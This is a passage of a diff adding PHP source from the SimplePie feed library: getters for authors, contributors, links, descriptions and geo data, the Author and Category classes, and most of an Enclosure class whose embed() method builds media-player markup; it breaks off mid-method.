+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] =& new $this->item->feed->author_class($name, $uri, $email);
+			}
+		}
+		if ($author = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] =& new $this->item->feed->author_class($name, $url, $email);
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] =& new $this->item->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($authors))
+		{
+			return SimplePie_Misc::array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] =& new $this->item->feed->author_class($name, $uri, $email);
+			}
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] =& new $this->item->feed->author_class($name, $url, $email);
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return SimplePie_Misc::array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Added for parity between the parent-level and the item/entry-level.
+	 */
+	function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_source_tags('', 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if (SimplePie_Misc::is_isegment_nz_nc($key))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) == SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_description()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags('', 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags('', 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($return = $this->get_source_tags('', 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['xml_lang']))
+		{
+			return $this->sanitize($this->data['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_latitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_longitude()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_url()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Author
+{
+	var $name;
+	var $link;
+	var $email;
+
+	// Constructor, used to input the data
+	function SimplePie_Author($name = null, $link = null, $email = null)
+	{
+		$this->name = $name;
+		$this->link = $link;
+		$this->email = $email;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link()
+	{
+		if ($this->link !== null)
+		{
+			return $this->link;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_email()
+	{
+		if ($this->email !== null)
+		{
+			return $this->email;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
+class SimplePie_Category
+{
+	var $term;
+	var $scheme;
+	var $label;
+
+	// Constructor, used to input the data
+	function SimplePie_Category($term = null, $scheme = null, $label = null)
+	{
+		$this->term = $term;
+		$this->scheme = $scheme;
+		$this->label = $label;
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_term()
+	{
+		if ($this->term !== null)
+		{
+			return $this->term;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_label()
+	{
+		if ($this->label !== null)
+		{
+			return $this->label;
+		}
+		else
+		{
+			return $this->get_term();
+		}
+	}
+}
+
+class SimplePie_Enclosure
+{
+	var $bitrate;
+	var $captions;
+	var $categories;
+	var $channels;
+	var $copyright;
+	var $credits;
+	var $description;
+	var $duration;
+	var $expression;
+	var $framerate;
+	var $handler;
+	var $hashes;
+	var $height;
+	var $javascript;
+	var $keywords;
+	var $lang;
+	var $length;
+	var $link;
+	var $medium;
+	var $player;
+	var $ratings;
+	var $restrictions;
+	var $samplingrate;
+	var $thumbnails;
+	var $title;
+	var $type;
+	var $width;
+
+	// Constructor, used to input the data
+	function SimplePie_Enclosure($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null)
+	{
+		$this->bitrate = $bitrate;
+		$this->captions = $captions;
+		$this->categories = $categories;
+		$this->channels = $channels;
+		$this->copyright = $copyright;
+		$this->credits = $credits;
+		$this->description = $description;
+		$this->duration = $duration;
+		$this->expression = $expression;
+		$this->framerate = $framerate;
+		$this->hashes = $hashes;
+		$this->height = $height;
+		$this->javascript = $javascript;
+		$this->keywords = $keywords;
+		$this->lang = $lang;
+		$this->length = $length;
+		$this->link = $link;
+		$this->medium = $medium;
+		$this->player = $player;
+		$this->ratings = $ratings;
+		$this->restrictions = $restrictions;
+		$this->samplingrate = $samplingrate;
+		$this->thumbnails = $thumbnails;
+		$this->title = $title;
+		$this->type = $type;
+		$this->width = $width;
+		if (class_exists('idna_convert'))
+		{
+			$idn =& new idna_convert;
+			$parsed = SimplePie_Misc::parse_url($link);
+			$this->link = SimplePie_Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
+		}
+		$this->handler = $this->get_handler(); // Needs to load last
+	}
+
+	function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	function get_bitrate()
+	{
+		if ($this->bitrate !== null)
+		{
+			return $this->bitrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_caption($key = 0)
+	{
+		$captions = $this->get_captions();
+		if (isset($captions[$key]))
+		{
+			return $captions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_captions()
+	{
+		if ($this->captions !== null)
+		{
+			return $this->captions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		if ($this->categories !== null)
+		{
+			return $this->categories;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_channels()
+	{
+		if ($this->channels !== null)
+		{
+			return $this->channels;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($this->copyright !== null)
+		{
+			return $this->copyright;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_credit($key = 0)
+	{
+		$credits = $this->get_credits();
+		if (isset($credits[$key]))
+		{
+			return $credits[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_credits()
+	{
+		if ($this->credits !== null)
+		{
+			return $this->credits;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_description()
+	{
+		if ($this->description !== null)
+		{
+			return $this->description;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_duration($convert = false)
+	{
+		if ($this->duration !== null)
+		{
+			if ($convert)
+			{
+				$time = SimplePie_Misc::time_hms($this->duration);
+				return $time;
+			}
+			else
+			{
+				return $this->duration;
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_expression()
+	{
+		if ($this->expression !== null)
+		{
+			return $this->expression;
+		}
+		else
+		{
+			return 'full';
+		}
+	}
+
+	function get_extension()
+	{
+		if ($this->link !== null)
+		{
+			$url = SimplePie_Misc::parse_url($this->link);
+			if ($url['path'] !== '')
+			{
+				return pathinfo($url['path'], PATHINFO_EXTENSION);
+			}
+		}
+		return null;
+	}
+
+	function get_framerate()
+	{
+		if ($this->framerate !== null)
+		{
+			return $this->framerate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_handler()
+	{
+		return $this->get_real_type(true);
+	}
+
+	function get_hash($key = 0)
+	{
+		$hashes = $this->get_hashes();
+		if (isset($hashes[$key]))
+		{
+			return $hashes[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_hashes()
+	{
+		if ($this->hashes !== null)
+		{
+			return $this->hashes;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_height()
+	{
+		if ($this->height !== null)
+		{
+			return $this->height;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($this->lang !== null)
+		{
+			return $this->lang;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_keyword($key = 0)
+	{
+		$keywords = $this->get_keywords();
+		if (isset($keywords[$key]))
+		{
+			return $keywords[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_keywords()
+	{
+		if ($this->keywords !== null)
+		{
+			return $this->keywords;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_length()
+	{
+		if ($this->length !== null)
+		{
+			return $this->length;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link()
+	{
+		if ($this->link !== null)
+		{
+			return urldecode($this->link);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_medium()
+	{
+		if ($this->medium !== null)
+		{
+			return $this->medium;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_player()
+	{
+		if ($this->player !== null)
+		{
+			return $this->player;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_rating($key = 0)
+	{
+		$ratings = $this->get_ratings();
+		if (isset($ratings[$key]))
+		{
+			return $ratings[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_ratings()
+	{
+		if ($this->ratings !== null)
+		{
+			return $this->ratings;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_restriction($key = 0)
+	{
+		$restrictions = $this->get_restrictions();
+		if (isset($restrictions[$key]))
+		{
+			return $restrictions[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_restrictions()
+	{
+		if ($this->restrictions !== null)
+		{
+			return $this->restrictions;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_sampling_rate()
+	{
+		if ($this->samplingrate !== null)
+		{
+			return $this->samplingrate;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_size()
+	{
+		$length = $this->get_length();
+		if ($length !== null)
+		{
+			return round($length/1048576, 2);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_thumbnail($key = 0)
+	{
+		$thumbnails = $this->get_thumbnails();
+		if (isset($thumbnails[$key]))
+		{
+			return $thumbnails[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_thumbnails()
+	{
+		if ($this->thumbnails !== null)
+		{
+			return $this->thumbnails;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_title()
+	{
+		if ($this->title !== null)
+		{
+			return $this->title;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_type()
+	{
+		if ($this->type !== null)
+		{
+			return $this->type;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_width()
+	{
+		if ($this->width !== null)
+		{
+			return $this->width;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function native_embed($options='')
+	{
+		return $this->embed($options, true);
+	}
+
+	/**
+	 * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
+	 */
+	function embed($options = '', $native = false)
+	{
+		// Set up defaults
+		$audio = '';
+		$video = '';
+		$alt = '';
+		$altclass = '';
+		$loop = 'false';
+		$width = 'auto';
+		$height = 'auto';
+		$bgcolor = '#ffffff';
+		$mediaplayer = '';
+		$widescreen = false;
+		$handler = $this->get_handler();
+		$type = $this->get_real_type();
+
+		// Process options and reassign values as necessary
+		if (is_array($options))
+		{
+			extract($options);
+		}
+		else
+		{
+			$options = explode(',', $options);
+			foreach($options as $option)
+			{
+				$opt = explode(':', $option, 2);
+				if (isset($opt[0], $opt[1]))
+				{
+					$opt[0] = trim($opt[0]);
+					$opt[1] = trim($opt[1]);
+					switch ($opt[0])
+					{
+						case 'audio':
+							$audio = $opt[1];
+							break;
+
+						case 'video':
+							$video = $opt[1];
+							break;
+
+						case 'alt':
+							$alt = $opt[1];
+							break;
+
+						case 'altclass':
+							$altclass = $opt[1];
+							break;
+
+						case 'loop':
+							$loop = $opt[1];
+							break;
+
+						case 'width':
+							$width = $opt[1];
+							break;
+
+						case 'height':
+							$height = $opt[1];
+							break;
+
+						case 'bgcolor':
+							$bgcolor = $opt[1];
+							break;
+
+						case 'mediaplayer':
+							$mediaplayer = $opt[1];
+							break;
+
+						case 'widescreen':
+							$widescreen = $opt[1];
+							break;
+					}
+				}
+			}
+		}
+
+		$mime = explode('/', $type, 2);
+		$mime = $mime[0];
+
+		// Process values for 'auto'
+		if ($width == 'auto')
+		{
+			if ($mime == 'video')
+			{
+				if ($height == 'auto')
+				{
+					$width = 480;
+				}
+				elseif ($widescreen)
+				{
+					$width = round((intval($height)/9)*16);
+				}
+				else
+				{
+					$width = round((intval($height)/3)*4);
+				}
+			}
+			else
+			{
+				$width = '100%';
+			}
+		}
+
+		if ($height == 'auto')
+		{
+			if ($mime == 'audio')
+			{
+				$height = 0;
+			}
+			elseif ($mime == 'video')
+			{
+				if ($width == 'auto')
+				{
+					if ($widescreen)
+					{
+						$height = 270;
+					}
+					else
+					{
+						$height = 360;
+					}
+				}
+				elseif ($widescreen)
+				{
+					$height = round((intval($width)/16)*9);
+				}
+				else
+				{
+					$height = round((intval($width)/4)*3);
+				}
+			}
+			else
+			{
+				$height = 376;
+			}
+		}
+		elseif ($mime == 'audio')
+		{
+			$height = 0;
+		}
+
+		// Set proper placeholder value
+		if ($mime == 'audio')
+		{
+			$placeholder = $audio;
+		}
+		elseif ($mime == 'video')
+		{
+			$placeholder = $video;
+		}
+
+		$embed = '';
+
+		// Make sure the JS library is included
+		if (!$native)
+		{
+			static $javascript_outputted = null;
+			if (!$javascript_outputted && $this->javascript)
+			{
+				$embed .= '<script type="text/javascript" src="?' . htmlspecialchars($this->javascript) . '"></script>';
+				$javascript_outputted = true;
+			}
+		}
+
+		// Odeo Feed MP3's
+		if ($handler == 'odeo')
+		{
+			if ($native)
+			{
+				$embed .= '<embed src="http://odeo.com/flash/audio_player_fullsize.swf" pluginspage="http://adobe.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="440" height="80" wmode="transparent" allowScriptAccess="any" flashvars="valid_sample_rate=true&external_url=' . $this->get_link() . '"></embed>';
+			}
+			else
+			{
+				$embed .= '<script type="text/javascript">embed_odeo("' . $this->get_link() . '");</script>';
+			}
+		}
+
+		// Flash
+		elseif ($handler == 'flash')
+		{
+			if ($native)
+			{
+				$embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
+			}
+		}
+
+		// Flash Media Player file types.
+		// Preferred handler for MP3 file types.
+		elseif ($handler == 'fmedia' || ($handler == 'mp3' && $mediaplayer != ''))
+		{
+			$height += 20;
+			if ($native)
+			{
+				$embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
+			}
+		}
+
+		// QuickTime 7 file types.  Need to test with QuickTime 6.
+		// Only handle MP3's if the Flash Media Player is not present.
+		elseif ($handler == 'quicktime' || ($handler == 'mp3' && $mediaplayer == ''))
+		{
+			$height += 16;
+			if ($native)
+			{
+				if ($placeholder != ""){
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+				else {
+					$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
+				}
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
+			}
+		}
+
+		// Windows Media
+		elseif ($handler == 'wmedia')
+		{
+			$height += 45;
+			if ($native)
+			{
+				$embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
+			}
+			else
+			{
+				$embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
+			}
+		}
+
+		// Everything else
